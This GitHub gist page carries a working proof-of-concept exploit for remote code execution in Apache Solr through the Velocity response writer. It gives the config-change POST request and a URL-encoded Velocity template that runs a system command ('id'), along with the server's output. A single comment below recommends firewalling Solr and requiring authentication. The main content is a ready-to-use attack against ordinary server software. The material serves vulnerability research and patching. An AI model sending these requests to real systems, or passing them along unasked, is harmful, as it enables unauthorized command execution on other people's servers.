Skip to content

Instantly share code, notes, and snippets.

@s00py
Created October 30, 2019 11:27
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 8 You must be signed in to fork a gist
  • Save s00py/a1ba36a3689fa13759ff910e179fc133 to your computer and use it in GitHub Desktop.
Save s00py/a1ba36a3689fa13759ff910e179fc133 to your computer and use it in GitHub Desktop.
Apache Solr RCE via Velocity template
Apache Solr RCE via Velocity template
Set "params.resource.loader.enabled" as true.
Request:
========================================================================
POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
========================================================================
RCE via velocity template
Request:
========================================================================
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983
========================================================================
Response:
========================================================================
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 56
0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
========================================================================
@erikhatcher
Copy link

A lot of doors are open if Solr is exposed outside of a trusted network and without administrative authentication.

It is recommended to firewall Solr and enable authentication for all requests.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment